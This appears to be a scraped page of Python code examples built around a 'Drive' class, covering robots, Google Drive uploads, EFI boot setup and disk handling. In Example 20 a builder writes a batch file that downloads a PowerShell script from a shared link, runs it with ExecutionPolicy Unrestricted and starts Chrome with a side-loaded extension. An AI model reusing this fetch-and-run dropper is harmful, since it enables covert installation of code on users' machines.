Esempio n. 1
0
 def __init__(self, args):
     self._args = args
     self._drive = DummyDrive() if args.nohw else Drive()
     self._finder = PositionsFinder(args.debug)
     self._hysteresis = Hysteresis(frames=args.frames,
                                   resolution=args.resolution,
                                   threshold=args.threshold)
Esempio n. 2
0
    def __init__(self):

        # this is only changed once the ball is kicked
        self.switch_goal = False
        self.prev_state = state.none
        self.prev_ball = -1
        self.prev_goal = -1

        # CONDITIONS
        self.ball_in_dribbler = False
        self.ball_found = False
        self.goal_found = False
        self.goal_aligned = False

        # STATES
        self.state = state.none
        self.search = search.none

        # OBJECTS
        self.drive_sys = Drive()
        self.dribbler = Dribbler()
        self.field = Field()
        self.kicker = Kicker()

        # MOTOR pwm
        self.left_motor = 0
        self.right_motor = 0

        # range/headings
        self.obs_range = [None, None, None]
        self.obs_heading = [None, None, None]
        self.ball_range = None
        self.ball_heading = None
        self.goal_range = None
        self.goal_heading = None
Esempio n. 3
0
 def get_drives(self):
     drives = []
     for letter in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
         drive = Drive(letter)
         if drive.type:
             log.debug('drive=%s' % str(drive))
             drives.append(drive)
     return drives
Esempio n. 4
0
 def __init__(self, config, service_type):
     self.__config = config
     self.info = {'details': []}
     if service_type == SERVICE_DRIVE:
         self.service = Drive(config)
     elif service_type == SERVICE_DROPBOX:
         raise NotImplementedError('not implemented yet!')
     elif service_type == SERVICE_SCP:
         self.service = ScpUpload(config)
Esempio n. 5
0
 def _initEmptyBoard(self):
     """
     :return: the initialized board
     """
     board = [[Square(None, i, j) for j in range(5)] for i in range(5)]
     board[0][0] = Square(Note(False), 0, 0)
     board[0][1] = Square(Governance(False), 0, 1)
     board[0][2] = Square(Relay(False), 0, 2)
     board[0][3] = Square(Shield(False), 0, 3)
     board[0][4] = Square(Drive(False), 0, 4)
     board[1][4] = Square(Preview(False), 1, 4)
     board[3][0] = Square(Preview(True), 3, 0)
     board[4][0] = Square(Drive(True), 4, 0)
     board[4][1] = Square(Shield(True), 4, 1)
     board[4][2] = Square(Relay(True), 4, 2)
     board[4][3] = Square(Governance(True), 4, 3)
     board[4][4] = Square(Note(True), 4, 4)
     return board
Esempio n. 6
0
def get_email_user():
    drive = Drive()
    creds = drive.setup_creds()
    emailUser = []

    print("GETTING USER EMAIL")
    emailUser.append(drive.get_user_info(creds)['email'])
    print("DONE!")

    return emailUser
Esempio n. 7
0
def main():

    import config
    import time
    import logging
    from drive import Drive

    logging.basicConfig(level=logging.DEBUG)
    log = logging.getLogger(__name__)

    log.info("Testing vision subsystem")

    vision = Vision(config)
    drive = Drive()
    drive.close_tray()

    calibration_markers = None
    while True:

        drive.close_tray()

        log.info("Acquiring calibration image")
        image_filename = vision.image_acquire()
        if not image_filename:
            log.warn(
                "Could not acquire image for calibration, please check the camera"
            )
            time.sleep(config.camera_calibration_delay)
            continue

        (calibration_markers, frame) = vision.detect_markers(image_filename)
        os.unlink(image_filename)

        log.debug("Markers detected during calibration: '{}'".format(
            calibration_markers))

        if calibration_markers and 'disk_center' in calibration_markers and 'disk_edge' in calibration_markers:
            break
        else:
            log.warn(
                "Both calibration markers need to be detectable, please adjust the camera or lighting conditions"
            )
            time.sleep(config.camera_calibration_delay)

    log.info(
        "Camera calibration was successful, calibration markers detected: {}".
        format(calibration_markers))

    drive.open_tray()

    camera_image_filename = vision.image_acquire('camera-image')
    vision.write_cover_image(camera_image_filename, 'cover.png',
                             calibration_markers)

    drive.close_tray()
Esempio n. 8
0
def simulate(drive_sizes, file_size, strategy):
    drives = list(map(lambda drive_size: Drive(drive_size), drive_sizes))
    candidates = list(filter(lambda drive: drive.free() >= file_size, drives))
    while candidates:
        for drive in drives:
            drive.tick()
        selection = strategy(candidates)
        selection.store(file_size)
        if selection.free() < file_size:
            candidates.remove(selection)
    return drives
Esempio n. 9
0
 def format(self, name):
     thisDrive = Drive(name)
     thisDrive.format()
     thisDrive.write_block(0, "+" + "-" * 127 + ("f:" + " " * 9 + "0000:" + "000 " * 12) * 6)
     global availableBlocksList
     availableBlocksList = ['+'] + ['-' for x in range(127)]
     global availableBlockIndices 
     availableBlockIndices = list(range(1, 128))
     self.currentDrive = thisDrive
     self.rootDirectory = Directory(self.currentDrive, None, 0, None, None) #drive, fileNum, parentBlockNum, parent, name
     self.blocksAvailability = thisDrive.read_block(0)[:127]
Esempio n. 10
0
def get_files():
    drive = Drive()
    service = drive.setup_service(drive.setup_creds())

    print("GETTIN FILES EXTENSION")
    fileExtension = drive.get_file_extension(service)
    print("DONE!")
    print("GETTING FILES FROM GOOGLE DRIVE")
    files = drive.get_data_api(service)
    print("DONE!")

    return files, fileExtension
Esempio n. 11
0
def main():
    """Uploads files in a directory to Google Drive.

    """
    upload_dir_path = os.path.abspath(arguments.upload_dir) + "/"
    my_drive = Drive()
    folder = my_drive.query("name = 'Drone Club Videos'")
    folder_id = folder['files'][0]['id']
    new_folder_id = my_drive.create_folder(str(datetime.date.today()),
                                           folder_id)
    for f in os.scandir(upload_dir_path):
        my_drive.upload_file(f.name, f.path, new_folder_id)
Esempio n. 12
0
    def store_drives(raw_drives):
        # takes as input raw_drives from the blkid command
        # Returns a list of Drive objects

        connected_drives = []
        for i in range(len(raw_drives)):
            temp_drive = Drive()
            temp_raw_drive = raw_drives[i].split()
            for attribute in temp_raw_drive:
                if '/dev' in attribute:
                    attribute = list(attribute)
                    attribute.pop()
                    attribute = ''.join(attribute)
                    temp_drive.set_source(attribute)
                elif 'TYPE' in attribute:
                    temp_drive.set_fs(attribute)
            connected_drives.append(temp_drive)
        return connected_drives
Esempio n. 13
0
    def __init__(self):
        rospy.init_node('state_machine')

        self.markers_subscriber = rospy.Subscriber(AR_TAG_TOPIC, AlvarMarkers,
                                                   self.markers_callback, queue_size=10)
        self.starter_subscriber = rospy.Subscriber(STARTER_TOPIC, Bool,
                                                   self.start_callback, queue_size=10)

        self.lights_off = False

        self.state = State.nothing

        self.drive = Drive()
        self.image_processor = ImageProcessor()
        self.cv_bridge = CvBridge()

        self.drive_speed = 1.2503309
        self.left_goal_dist = 0.90
        self.right_goal_dist = 0.8
Esempio n. 14
0
 def create(self, entity_type, name, parent_path):
     if entity_type != Drive and not parent_path:
         raise IllegalFileSystemOperation(
             'only drives can be at the root level')
     # if a drive is being created
     if entity_type == Drive and not parent_path:
         self.add_drive(Drive(name))
         return
     parent = self.get_entity(parent_path)
     if type(parent) == Text:
         raise IllegalFileSystemOperation('parent cannot be a text file')
     if entity_type == Drive and parent_path:
         raise IllegalFileSystemOperation('drive cannot have a parent')
     # if PathNotFound, we know that the path is available
     try:
         self.get_entity(parent_path + '\\' + name)
         raise PathAlreadyExists
     except PathNotFound:
         parent.add_child(entity_type(name, parent))
Esempio n. 15
0
 def undo_EFI_folder(self, associated_task):
     for efi_drive in 'HIJKLMNOPQRSTUVWXYZ':
         drive = Drive(efi_drive)
         if not drive.type:
             break
     efi_drive = efi_drive + ':'
     log.debug("Temporary EFI drive %s" % efi_drive)
     try:
         run_command(['mountvol', efi_drive, '/s'])
         dest = join_path(efi_drive, 'EFI',
                          self.info.previous_target_dir[3:], 'wubildr')
         dest.replace(' ', '_')
         dest.replace('__', '_')
         if os.path.exists(dest):
             log.debug('Removing EFI folder %s' % dest)
             shutil.rmtree(dest)
         run_command(['mountvol', efi_drive, '/d'])
     except Exception, err:  #this shouldn't be fatal
         log.error(err)
Esempio n. 16
0
    def __init__(self):
        Config.update()

        self.sound = Sound()

        # sensor values
        self.sensLeft = ColorSensor(INPUT_1)
        self.sensRight = ColorSensor(INPUT_4)  # TODO: Sensoren anschließen
        self.sensIR = InfraredSensor(INPUT_2)
        self.sensTouch = TouchSensor(INPUT_3)

        self.btn = Button()

        self.sensValues = {}

        # Classes for features
        self.drive = Drive()
        self.cross = Cross()
        # statemachine
        self.fsm = StateMachine()
        # adding States
        self.fsm.states["followLine"] = State("followLine")
        self.fsm.states["followLine"].addFunc(self.drive.followLine,
                                              self.sensValues)

        self.fsm.states["brake"] = State("brake")

        self.fsm.states["crossFirstTurn"] = State("crossFirstTurn")
        self.fsm.states["crossFirstTurn"].addFunc(self.cross.firstTurn,
                                                  self.sensValues)

        self.fsm.states["checkNextExit"] = State("checkNextExit")
        self.fsm.states["checkNextExit"].addFunc(self.drive.followLine,
                                                 self.sensValues)

        # adding Transitions
        self.fsm.transitions["toFollowLine"] = Transition("followLine")

        self.fsm.transitions["toBrake"] = Transition("brake")
        self.fsm.transitions["toBrake"].addFunc(self.drive.brake)

        self.fsm.transitions["toCrossFirstTurn"] = Transition("crossFirstTurn")
Esempio n. 17
0
 def modify_EFI_folder(self, associated_task, bcdedit):
     command = [bcdedit, '/enum', '{bootmgr}']
     boot_drive = run_command(command)
     if 'partition=' in boot_drive:
         boot_drive = boot_drive[boot_drive.index('partition=') + 10:]
     else:
         boot_drive = boot_drive[boot_drive.index('device') + 24:]
     boot_drive = boot_drive[:boot_drive.index('\r')]
     log.debug("EFI boot partition %s" % boot_drive)
     # if EFI boot partition is mounted we use it
     if boot_drive[1] == ':':
         efi_drive = boot_drive
     else:
         for efi_drive in 'HIJKLMNOPQRSTUVWXYZ':
             drive = Drive(efi_drive)
             if not drive.type:
                 break
         efi_drive = efi_drive + ':'
         log.debug("Temporary EFI drive %s" % efi_drive)
     if efi_drive != boot_drive:
         run_command(['mountvol', efi_drive, '/s'])
     src = join_path(self.info.root_dir, 'winboot', 'EFI')
     src.replace(' ', '_')
     src.replace('__', '_')
     dest = join_path(efi_drive, 'EFI', self.info.target_dir[3:])
     dest.replace(' ', '_')
     dest.replace('__', '_')
     if not os.path.exists(dest):
         shutil.os.mkdir(dest)
     dest = join_path(dest, 'wubildr')
     if os.path.exists(dest):
         shutil.rmtree(dest)
     log.debug('Copying EFI folder %s -> %s' % (src, dest))
     shutil.copytree(src, dest)
     if self.get_efi_arch(associated_task, efi_drive) == "ia32":
         efi_path = join_path(dest, 'grubia32.efi')[2:]
     else:
         efi_path = join_path(dest, 'shimx64.efi')[2:]
     if efi_drive != boot_drive:
         run_command(['mountvol', efi_drive, '/d'])
     return efi_path
Esempio n. 18
0
    def __init__(self):

        self.circle_obstacle = False
        self.goto_ball = False
        self.ball_captured = False
        self.goto_obstacle = False
        self.goto_goal = False
        self.ball_found = False
        self.goal_found = False
        self.goal_clear = False
        self.spin = False
        self.search_obs = False
        self.timer = Timer()

        self.target_side = -1
        self.ball_side = -1
        self.goal_side = -1
        self.wall_side = -1
        self.obs_side = -1
        self.speed_mod = 1

        self.no_target_count = 0
        self.circle_count = 0

        self.obs_r = None
        self.obs_h = None
        self.ball_r = None
        self.ball_h = None
        self.goal_r = None
        self.goal_h = None
        self.wall_r = None
        self.wall_h = None
        self.target_r = None
        self.target_h = None
        self.target_found = False

        self.drive_sys = Drive()
        self.dribbler = Dribbler()
        self.kicker = Kicker()
Esempio n. 19
0
    def __init__(self):
        proc = subprocess.Popen('sudo blkid',
                                stdout=subprocess.PIPE,
                                shell=True)
        (drives, err) = proc.communicate()
        drives = drives.decode('utf-8').split('\n')

        connected_drives = []
        for i in range(len(drives)):
            temp_drive = Drive()
            temp_source = ''
            temp_fs = ''
            temp_raw_drive = drives[i].split()
            for attribute in temp_raw_drive:
                if '/dev' in attribute:
                    attribute = list(attribute)
                    attribute.pop()
                    attribute = ''.join(attribute)
                    temp_drive.set_source(attribute)
                elif 'TYPE' in attribute:
                    temp_drive.set_fs(attribute)
            connected_drives.append(temp_drive)
        self.drives = connected_drives
Esempio n. 20
0
    def builder(self):

        try:

            path = "output/builds/"  # Builds files

            if self.filetype == "bat":

                payloads = "data/payloads/powershell/powershell.ps1"  # Payload file
            elif self.filetype == "vbs":
                payloads = "data/payloads/VBScript/vbs.txt"  # Payload file

            build = "{}.{}".format(self.extension,
                                   self.filetype)  # Make .bat file
            powershell = "{}.{}".format("powershell", "ps1")  # Make .bat file

            if not os.path.exists("output/builds/{}".format(build)):
                print("{} First upload the files to get shared links".format(
                    self.color.yellows("[!]")))
                with open(payloads, 'r') as f:

                    # Set the drop URL or do not
                    payload = f.read()
                    payload = payload.replace('******', "******")

                    if self.filetype == "bat":

                        with open(os.path.join(path, powershell), 'a') as pwsh:
                            # Write the new file
                            pwsh.write(payload)
                        pwsh.close()

                        with open(os.path.join(path, build), 'a') as builder:
                            # Write the new file
                            batch = """
@echo off
	PowerShell.exe -ExecutionPolicy UnRestricted -nop -c "(new-object net.webclient).DownloadFile('******','chrome.ps1')"  
	PowerShell.exe -ExecutionPolicy UnRestricted -nop -c "./chrome.ps1"
	PowerShell.exe Start-Process "chrome.exe --load-extension=C:\chrome\output\extensions\\extensionid"
echo
PAUSE
"""
                            batch = batch.replace('******', "******")
                            builder.write(batch)
                        builder.close()
                f.close()
            else:

                if os.path.exists("output/builds/%s" % build):
                    os.remove("output/builds/%s" % build)
                    os.remove("output/builds/%s" % powershell)

                paths = Drive(self.extension, self.filetype,
                              self.token).ShareLinks()

                # print(paths)

                with open(payloads, 'r') as f:

                    # Set the drop URL or do not
                    payload = f.read()
                    payload = payload.replace('******', paths[0])

                    if self.filetype == "bat":

                        with open(os.path.join(path, powershell), 'w') as pwsh:
                            # Write the new file
                            pwsh.write(payload)
                        pwsh.close()

                        with open(os.path.join(path, build), 'w') as builder:
                            # Write the new file
                            batch = """
@echo off
	PowerShell.exe -ExecutionPolicy UnRestricted -nop -c "(new-object net.webclient).DownloadFile('******','chrome.ps1')"  
	PowerShell.exe -ExecutionPolicy UnRestricted -nop -c "./chrome.ps1"
	PowerShell.exe Start-Process "chrome.exe --load-extension=C:\chrome\output\extensions\\extensionid"
echo
PAUSE
"""
                            batch = batch.replace('extensionid',
                                                  self.extension)
                            batch = batch.replace('******', paths[1])
                            builder.write(batch)
                        builder.close()
                f.close()
        except IOError as e:
            raise e
Esempio n. 21
0
 def get_system_drive(self):
     system_drive = os.getenv('SystemDrive')
     system_drive = Drive(system_drive)
     log.debug('system_drive=%s' % system_drive)
     return system_drive
Esempio n. 22
0
 def next_state(self):
     if self.detect_obstacles_next:
         return detect_obstacles.DetectObstacles(self.current_input)
     return Drive(self.current_input)
Esempio n. 23
0
 def reconnect(self, name):
     self.currentDrive = Drive(name)
     self.rootDirectory = Directory(self.currentDrive, None, 0, None, name)
     self.currentDrive.reconnect()      
     self.blocksAvailability = self.currentDrive.read_block(0)[:127]
Esempio n. 24
0
    def get_ID(self, mid, date, statement):
        dr = Drive()
        mn = Main()
        print(mid, date, statement)
        currentdate = date.replace(day=1)
        headers = ["MID", "date", "fileID", "folderID"]
        sect = {}
        try:
            my_query = "SELECT * from statementData.notifyStatement where MID like '{}' and `date` = '{}' limit 1".format(
                "','".join(mid), str(currentdate.date()))

            print(my_query)
            fileID = [item for item in callConnection(self.confir, my_query)]
            print("This is my search for file id: {}".format(fileID))
            if not fileID:
                my_query = "SELECT * from notifyStatement where MID = '{}' limit 1".format(
                    "','".join(mid))
                midID = [
                    item for item in callConnection(self.confir, my_query)
                ]
                print(midID)
                if midID:
                    midID = midID[0]
                    print("all get the folder than " + str(midID))

                    fileID = dr.upload(statement, str(date.date()), midID[3])
                    print("This is my file" + fileID)
                    if fileID:
                        ins = "INSERT into notifyStatement({}) Values('{}')".format(
                            "`mid`,`date`,`fileID`,`folderID`", "','".join(
                                [mid[0],
                                 str(currentdate), fileID, folderID]))
                        print(ins)
                        if callConnection(self.confir, ins):
                            sect["success"] = {
                                "MID": mid,
                                "date": str(currentdate),
                                "fileID": fileID,
                                "folderID": midID[3]
                            }

                    else:
                        respo = "The current month does not exist yet for {}".format(
                            mid[0])
                        print(respo)
                        sect["error"] = respo

                else:
                    print("creating the folder from :" + str(mid[0]), folderID)
                    midID = dr.createFolder(str(mid[0]), folderID)
                    print("This is my mid :" + midID)
                    name = "{}.pdf".format(str(date.date()))
                    fileID = dr.upload(statement, name, midID)
                    print("This is my file :" + fileID)
                    if fileID:
                        ins = "INSERT into notifyStatement({}) Values('{}')".format(
                            "`mid`,`date`,`fileID`,`folderID`", "','".join(
                                [mid[0],
                                 str(currentdate), fileID, midID]))
                        print(ins)
                        if callConnection(self.confir, ins):
                            sect["success"] = {
                                "MID": mid,
                                "date": str(currentdate),
                                "fileID": fileID,
                                "folderID": midID
                            }

                    else:
                        respo = "The current month does not exist yet for {}".format(
                            mid[0])
                        print(respo)
                        sect["error"] = respo

            else:
                fileID = [str(i) for i in list(fileID[0])]
                sect["success"] = dict(zip(headers, fileID))
        except:
            print(sys.exc_info())
            sect["error"] = sys.exc_info()
            raise

        return sect
Esempio n. 25
0
def DriveService():
    return Drive(credentials['client_id'], credentials['client_secret'])
Esempio n. 26
0
display = Display(config)

arm = UArm(serial.Serial(port=args.device, baudrate=115200, timeout=config.serial_port_timeout), config)
if arm.connect():
    log.info("Detected UArm on device {}".format(args.device))
else:
    log.fatal("Could not connect to UArm using device '{}'".format(args.device))

storage_path = args.storage_path
capture_id = args.capture_id

log.info("Using storage '{}'".format(storage_path))

vision = Vision(config)

drive = Drive("/dev/cdrom", storage_path)

calibration_markers = None
with open(args.calibration_markers_file, 'r') as f:
    calibration_markers = json.load(f)

log.info("Calibration data loaded from '{}': {}".format(args.calibration_markers_file, calibration_markers))

log.info("Starting capture")

log.info("Picking up disk from source tray")
display.msg("PICKUP SRC TRAY")

# Pickup disk
cd_pickedup = arm.pickup_object(config.src_tray_pos, config.src_tray_z_min)
if not cd_pickedup:
Esempio n. 27
0
            self.ui = raw_input(self.prompt).split()
            self.drive.echo(False)

            if not self.ui: continue

            # make ints out of int arguements
            if self.ui[0] != "cd":
                for i, v in enumerate(self.ui):
                    try:
                        self.ui[i] = int(v)
                    except:
                        pass

            #print(self.ui)

            try:
                #get function by name, then pull out first element in the self.options.
                #This is where the function is
                function = self.options[self.ui[0]][0]
            except:
                print("command unknown")
                function = None

            if function: function()


if __name__ == '__main__':
    drive = Drive()
    cli = CLI(drive)
    cli.run()
Esempio n. 28
0
 def __init__(self, gui):
     self.gui = gui
     self.drive = Drive(self, gui)
Esempio n. 29
0
from __future__ import division
import numpy as np
import time
from drive import Drive

drive = Drive('/dev/ttyACM0')

last_odom = [0, 0, 0, 0]
ID = 1

while True:

    # ODOM TEST:

    odom, timestamp = drive.get_odom()

    if not np.allclose(odom, last_odom):
        last_odom = odom
        print np.round(odom, 2)

    time.sleep(10 / 1000)

    # MOTOR TEST:

    # val = 15
    # rest = 1

    # print "forward"
    # drive.set_effort([val+10, val])
    # time.sleep(rest)
#!/usr/bin/python

import os

from runkeeper import upload_to_runkeeper
from drive import Drive
from models import DriveActivity

drive_service = Drive(
    os.environ['GOOGLE_API_CLIENT_ID'],
    os.environ['GOOGLE_API_CLIENT_SECRET'],
)

folders = drive_service.folders()
print("Please select a folder to sync tracks from:")
for i, folder in enumerate(folders):
    print "{}: {}".format(i, folder['title'])
index = raw_input("Folder number: ")

folder = folders[int(index)]
print("You chose the folder: {}".format(folder['title']))

tracks = drive_service.files(folder)
for i, track in enumerate(tracks):
    print('{}: {}'.format(i, track['title']))
index = raw_input("Track number: ")
track = tracks[int(index)]

q = DriveActivity.all()
q.filter('pk =', track['id'])
drive_activity = q[0]